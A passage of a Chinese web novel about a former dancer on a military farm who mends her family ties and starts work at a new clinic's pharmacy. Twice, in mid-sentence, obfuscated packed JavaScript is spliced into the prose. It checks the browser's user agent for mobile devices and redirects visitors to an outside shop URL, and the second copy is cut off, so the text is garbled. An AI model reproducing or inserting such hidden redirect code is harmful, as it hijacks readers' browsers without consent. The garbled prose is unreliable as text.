冯孟云继续摆着筷子,今天她没做什么太丰盛的饭菜,毕竟是这个年代,想要天天吃肉也不太可能。一天能给孩子吃一个鸡蛋,已经是很不错了。 “想给禾禾弄个橡皮筋玩,那东西金贵得很,据说只有旅长家的闺女有,你能不能试试给弄一副?” “橡皮筋?” 林之行不知道橡皮筋是什么东西,他也没太注意过家属排里的这些小女孩做什么:“扎头发的?” 冯孟云给他解释:“不是,就是那种两个小女孩喜欢的游戏,两个人撑开,其他人上去跳。” 她给林之行跳了两下,身子轻盈,连在一边折纸的林嘉禾都看过来了。 冯孟云注意到女儿的眼神,心中一动,看来想修复跟女儿的关系,陪她跳皮筋应该也不错。 林之行站在一边,看冯孟云给他表演了个无实物跳皮筋,有点出神。 当初刚刚结婚的时候,冯孟云虽然早早就退出了文工团,但还是偶尔会在家里唱几句,跳两下。 现在的氛围,真像当初的样子啊。 冯孟云看着林之行有点出神,忍不住问他:“是不是皮筋很难弄啊?我记得好像用自行车胎的内胆那种材料就可以做,你那边都是拖拉机,弄不到这东西吗?” “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612734|139289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有没有,好弄,”林之行被打断了说话,有点尴尬,看着冯孟云已经摆好了碗筷,赶紧出去端饭菜,“我看看,实在不行去找下面部队问问。做个多长的?” 冯孟云想了想,这东西做一次不容易,不如做个长点的。 “弄个十米?不够的话还可以留着。那东西要是破了也没地方补去,给六点余地。” “行。” 林之行把饭菜端进来,看着水缸空了,又出去压了两桶水。 这批部队建的小院子最好的地方,就是院子里有手压井。手压井在冬天的时候,要把水放下去,每次压水之前临时灌水进去引水。 这活不简单,冬天又格外冻手,一直都是林之行包干了的。 冯孟云先给孩子盛了一碗饭,看她自己慢慢吃,抱着手去水缸旁边看林之行干活。 她把那个小盒子从衣服里面掏出来,问林之行:“这是当初你父母留给你的吗?” 看见她把这个掏出来,林之行浑身一震,快步走过去想要拿走,又想到自己手上沾了水,赶紧擦干,这才从冯孟云手里接过去。 “你拿这个干什么了?” 不打算把这世界只是一本书的事情告诉林之行,但是别的事情还是能说一说的。 冯孟云看着林之行紧张的状态,顺从地把小盒子给了他,让他检查。 “我什么也没做,你打开看看,没事的。” 林之行打开小盒子,里面确实毫发无损,甚至还用一张红绒布做了底,把照片保护得更好。 他放松下来。 这件事,刚结婚的时候他曾经想跟冯孟云说,但是一直没有合适的机会。 后来,后来两个人就开始相敬如冰了。 “你怎么想起来拿这个了?” 想到刚刚冯孟云也是很珍惜地把盒子贴身放着,他多解释了几句,“这个确实是我被福利院收养的时候,身上唯一的东西。不过除此之外也没有别的东西了。” “我也不知道这是什么,以前觉得是我父亲的照片,但是为什么丢掉孩子之后,要把我父亲小时候的照片放在我身上?” 他抬头看冯孟云:“你是怎么想起来把这个拿起来了?今天打扫卫生看见了?” 冯孟云摇头:“不是,今天宋毓秀带着陈涵来了,我瞧着那孩子的眼神不对,过来扒抽屉看了半天。等他走了,我翻出来这个,怕丢,就揣起来了。” 反正陈涵也不会来跟她对质,她索性名正言顺地把黑锅往陈涵的头上扣过去。 “我觉得,他是不是认出你长相像谁了啊?” 如果没有几天前的事情,冯孟云就这么一说,林之行或许不会太当回事。毕竟,现在的陈涵还只是个十来岁的小孩子,说他要做什么,未免太牵强。 但是,几天前,林之行也看见了,那陈涵一直在门口伸头探脑的,似乎想找点什么。 之后,就跑来自己家里翻东西,这未免也太巧了吧? 他思考了一下:“我会找人查一下他的底子。” 现在是敏感时期,尤其要警惕敌人的特务来搞破坏。 他又打开了盒子看看,红色的绒布缝制成的小软垫,看起来十分合适:“谢谢你。” 冯孟云笑弯了眼:“有什么需要谢的。” 一家人开始吃饭,林之行看着冯孟云,越发觉得今天找赵团长帮她找个工作的决定没错。 不过,这份工作,他也是藏了考验的私心在里面的,不然其实还有其他更合适的考验。 在医务室帮忙,如果是之前还笃信那些经文的冯孟云,是一定会拒绝的。 在之前的冯孟云看来,这些都是沾染了其他人的因果,对自己的修行之路有很大的障碍。 “我给你找了个工作,你试试看?” 冯孟云惊住。 之前,她问林之行自己能不能去跟其他军嫂走动的时候,被拒绝了,她万万没想到,对方居然直接给她找工作了。 她试探地问:“你不怕我到时候边工作边宣传了?” 林之行把白煮蛋在饭桌上磕碎,慢条斯理地剥开鸡蛋皮:“你先听听工作是什么?” 冯孟云明白了,这工作八成也是试探的一部分。 不过,她不怕林之行试探她。不管她多委屈,不管之前是她自己的想法还是剧情控制。 “你说。” 林之行把白煮蛋用勺子切开,小心地放在女儿的碗里,这才看向冯孟云:“新建的医务室那边,还缺个人整理药柜登记,可以带着女儿一起去。两个人倒班,应该不会太忙,你愿意去吗?” 医务室?整理药物? 冯孟云顿时明白,为什么林之行不放心自己去跟其他军嫂交际,但是却放心让她去做工作了。 做了这份工作,基本上就意味着她彻底和过去的自己告别了。 “可以,”在林之行有点惊讶的眼光里,冯孟云毫无芥蒂地笑了起来,“我去!” 12.第 12 章 对于医务室这项工作来说,冯孟云是完全没什么芥蒂的。 抛开之前的信仰问题,这份工作完全可以说是个好工作了。 两班倒,这就意味着,她每天去一个上午或者一个下午就可以。还能带孩子,那边还能在食堂吃一顿饭。 虽然吃的是普通食堂而不是小灶,但这条件也相当诱人。 第二天一早,冯孟云在林之行起床的时候,也跟着一骨碌起来了。 “你起来这么早干啥,不用这么早。” 医务室就在家属排附近,不用往营地跑,完全用不到这么早。 “我知道,这不是想着早去一点,准备准备吗?” 这工作是林之行用了人情要来的,不然,正常来说,冯孟云照着这份工作的要求还差着一点。 她从小在文工团练了几年的舞,只读了小学,文化程度不高,又不了解医学相关的知识。 虽然只是保管药物,不过想必写字登记也少不了。昨天晚上她就紧张得拿了本书抄了半天的字。 林之行出去劈了劈柴,点了炉子烧上水,回来一看,冯孟云又在那里拿了本子和铅笔头干活。 他哑然失笑:“不用这么紧张,我估计也不会太忙,到时候边干边学就行了,别人也会帮着你的。” 既然能允许她带孩子去,那这工作就应该不是太忙。 “不过,你要是实在太担心,前两天可以先把禾禾给周嫂子带一带,等熟悉了再带孩子一起去。” 这倒是可以,林嘉禾跟周嫂子已经很熟悉了,周嫂子家几个孩子都上学,白天家里也没人。 “行,那前几天你拿回来的那点烟就拿去吧,当谢谢周嫂子了。” 这里的烟民很多,不光是男人,很多中年妇女也会一边抽烟一边干活。 有提神的作用,但大部分人一开始抽烟,是为了夏天熏蚊子。刚开肯的农场生态跟老树林没什么区别,蚊子尤其毒。 还有更可怕的小咬,这虫子咬人,头会钻进人的皮肤里,还不能打。只要一打,虫子的头就会钻进皮肤里,最后留在里面,以后一到阴天下雨就开始痛。 这种时候,就得用火烫一下虫子的屁股,让它吃痛一下子从皮肤里退出来才行。 之前,冯孟云被这东西咬了,正巧周嫂子也在,用烟头给她烫了一下,才没有永远留在皮肤里。 她也记住了,周嫂子是挺喜欢抽烟的。 “反正你也不抽烟。” 倒是林之行这样不抽烟的人,在这里很少见。 “行,给她送去吧,反正不送给她也是便宜了我们机务排下面那几个小子。” 天慢慢亮了,林之行先出门了,冯孟云看禾禾醒了,过去给她擦脸。 和一开始睡醒就爬起来自己穿衣服相比,林嘉禾现在对她多了一些依赖了,这让冯孟云很高兴。 这么小的小姑娘就什么都自己做,这绝对不是什么好现象。 看着她现在躺着不想起来,冯孟云试了一下毛巾的温度,给她仔细地擦脸:“热一点擦着舒服,妈妈给你擦完把炕桌端过来,你在炕上吃饭?” “好。” 这还是这几天林嘉禾第一次对她态度这么好地回应,冯孟云高兴地摸了摸她的小鼻子。 吃完饭,她把林嘉禾裹得厚厚实实地,抱去了周嫂子家里。 刘政委家的两个小子已经都上学了,周嫂子正在一个人忙里忙外,看见冯孟云过来,手上还拎着东西,她笑得见牙不见眼的。 上次那两块猪板油,可是相当厚实! “咋拎这么多东西啊,不就是看看孩子吗?我可听我们家老刘说了,你可得了个好差事!下回我要是有个头痛脑热的,可就去问你了。” 冯孟云没敢搭这句话,她笑着引开话题:“我装了点吃的,还给你拿了两盒烟。正常来说上半天就行了,但是第一天估摸着多少得晚点,我到时候要是没来得及接禾禾,就得麻烦你带她吃一顿饭了。” 林嘉禾跟周嫂子已经很熟悉了,她顺从地被周嫂子抱进屋里,冯孟云看她嘴里被喂了半颗山楂丸,放下心来,挥挥手走了。 医务室离食堂很近,上次她领着禾禾过来的时候,就看见那边在装窗子了。之前还不知道是做什么的,现在终于知道了,原来是医务室。 干净敞亮的大瓦房比旁边的建筑都高出来一点,现在应该是还没正式投入使用,透着一股崭新的感觉。几个人进进出出的,冯孟云有点紧张。 她深吸了一口冰冷的空气,这才进去。 “新同志吗?是负责药局的吗?来得很早啊,你是姓刘?” 对方看她没带孩子,误以为是另一位同事,冯孟云赶紧纠正:“我是冯孟云,本来说可以带孩子过来一起上班。我想着第一天来,可能活会多一点,过两天再带孩子一起。” 跟冯孟云说话的是赵护士,听见她这么说,脸上的表情顿时柔和很多了。 “那就行,我一开始听说药局的两个女同志都是没学过安插进来的,还觉得恐怕得多培训几天。既然你有这个心思就好了,现在给你个活。” 冯孟云跟着赵护士进了药局:“你把这些药品按照数量登记一下吧,要是来人,你就接待一下。” 这个活计不重,只是要先画表格。这边的条件比较艰苦,连用来登记的表格都没有,要先把信纸打上格子,然后用来登记。 冯孟云找了个药盒子当尺子,小心翼翼地打着格子,要先把一本信纸都画完,才能开始登记。 马上画到最后一页,突然有人进来了。 “这里……能拿药吗?” 进来的是一名生产建设兵团的女战士。 冯孟云迎了上去,有点歉意地跟她解释:“现在暂时还不行,你看,这东西还没收拾好呢。大夫也没来,护士也有事儿出去了。” 简易病房的设备还没到位,赵护士去催东西了。 冯孟云的话还没说完,女战士扑通一声就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“又是开荒,又是打渔的,你不知道,生产建设兵团的女知青女战士,很多都是得了妇科病的。” “环境又潮湿……清洁也得不到保证,一年到头都是干活,严重了一干活就尿裤子。她刚刚不肯坐下,可能就是裤子湿了,怕被你看出来。” “都是一年到头地拿消炎药顶着,刚开始能吃土霉素,现在土霉素都不好使了,只能用氟哌酸,咱们又没有那么多的药……” 她叹了口气:“就这样,第三师搞了铁姑娘班,咱们第六师也要搞……” 冯孟云震惊地扭头,看着刚刚小杨离开的方向。已经完全看不见她的背影了。 她想起来刚刚到这里的时候,看到辽阔的农田,勃勃生机又充满美感。 但是这生机后头,又是什么呢。